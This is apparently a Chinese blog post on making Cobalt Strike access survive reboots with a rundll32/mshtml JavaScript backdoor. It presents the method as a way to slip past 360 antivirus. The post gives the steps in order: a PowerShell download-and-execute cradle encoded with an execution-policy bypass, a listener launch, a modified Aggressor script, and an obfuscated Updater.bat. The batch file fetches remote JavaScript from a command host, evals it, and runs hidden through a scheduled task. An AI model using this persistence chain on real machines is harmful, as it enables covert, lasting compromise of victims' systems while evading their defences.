文章目录
  1. 理论操作
  2. 具体操作
  3. 小结
  4. 参考

cobalt strike persistence with javascript backdoor

Cobalt strike弹过来的shell重启之后shell就掉了,自然希望他可以在重启电脑之后依然发送心跳包过来,本文提供了一种cobalt strike权限维持的方法。

理论操作

github上有一份cs权限维持的脚本:https://github.com/Cyri1s/cobalt-strike-persistence 脚本需要web delivery类的shell,在非管理员权限下需要调用powershell,360均弹窗提示有风险操作,因此得找一种方法绕过360。在http://www.91ri.org/15051.html 中,作者使用rundll32.exe调用javascript来生成一个后门。在server上测试使用这个方法依然不会触发360的主动防御,所以利用github的权限维持脚本调用rundll32.exe生成cs的后门就是本文的思路。

下一步就是如何使用rundll32.exe生成cs后门,这里我修改了一下Evi1cg师傅的脚本(https://github.com/Ridter/MyJSRat ),让rundll32.exe运行cs的web delivery,让接受到的shell自动执行命令,cs就可以接收到了。

具体操作

以下是操作详情:

在cobalt strike中使用scripted web delivery,复制其中的

1
IEX ((new-object net.webclient).downloadstring('http://8.8.8.8/a'))

保存为temp,执行

1
cat temp | iconv --to-code UTF-16LE |base64

复制得到的base64编码,执行

1
python MyJSRat.py -i 8.8.8.8 -p 6666 -c "powershell -ep bypass -enc 复制的base64"

或者保存到autorun.sh,执行

1
nohup ./autorun.sh &

如果有些红红绿绿的东西出现而且没有退出python,说明启动成功了。

下载cobalt-strike-persistence,修改uploadPSpayload函数如下:

1
2
3
4
5
6
7
8
9
10
sub uploadPSpayload {
foreach $site (sites()) {
if ($site['Description'] eq "Scripted Web Delivery (powershell)"){
$downloadstring = "http://" . $site['Host'] . ":" . $site['Port'] . $site['URI'];
# $data = "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring(\'" . $downloadstring . "\'))\"";
$data = "@echo off%\r\nif \"%1\" == \"h\" goto begin\r\nmshta vbscript:createobject(\"wscript.shell\").run(\"C:\\Users\\Public\\Updater.bat h\",0)(window.close)&&exit \r\n:begin\r\nset a=rundl\r\nset b=l32.exe\r\nset c=javascr\r\nset d=ipt:\"\\..\\mshtml,RunHTMLApplication\r\nset e=\";document.write();h=new\%\%20ActiveXObject(\"WinHttp.WinHttpRequest.5.1\");h.Open(\"GET\",\"http://8.8.8.8:6666/connect\",false);try{h.Send();B=h.ResponseText;eval(B);}catch(e){new\%\%20ActiveXObject(\"WScript.Shell\").Run(\"cmd\r\nset f=taskkill\r\nset g=rundll32.exe\",0,true);}\r\n\%a\%\%b\% \%c\%\%d\% \%e\% /c \%f\% /f /im \%g\%\r\n@exit";
bupload_raw($1, $payloadPath, $data);
}
}
}

在cobalt strike中加载脚本,在beacon中执行

1
persistence Add SchTasks OnIdle 1

就可以在client生成一个空闲1分钟执行C:\Users\Public\Updater.bat的计划任务。不用脚本,可以用shell添加计划任务。要记得把bat上传上去。

Updater.bat的内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
@echo off%
if "%1" == "h" goto begin
mshta vbscript:createobject("wscript.shell").run("C:\Users\Public\Updater.bat h",0)(window.close)&&exit
:begin
set a=rundl
set b=l32.exe
set c=javascr
set d=ipt:"\..\mshtml,RunHTMLApplication
set e=";document.write();h=new%%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://8.8.8.8:6666/connect",false);try{h.Send();B=h.ResponseText;eval(B);}catch(e){new%%20ActiveXObject("WScript.Shell").Run("cmd
set f=taskkill
set g=rundll32.exe",0,true);}
%a%%b% %c%%d% %e% /c %f% /f /im %g%
@exit

小结

此方法还有很多不完善,比如bat运行会有黑框弹出,持续半秒左右。脚本的其他功能受到阻碍,有精力可以完善此脚本。另外使用OnIdel计划任务,很久才会出现空闲。

在可以命令执行的情况下,使用javascript backdoor不失为一个可以代替powershell弹cs的好方法。

参考

https://github.com/Cyri1s/cobalt-strike-persistence

http://www.91ri.org/15051.html

https://github.com/3gstudent/Pentest-and-Development-Tips

https://github.com/Cyri1s/cobalt-strike-persistence

http://blog.csdn.net/carl6148/article/details/7905549

支持一下
扫一扫,支持forsigner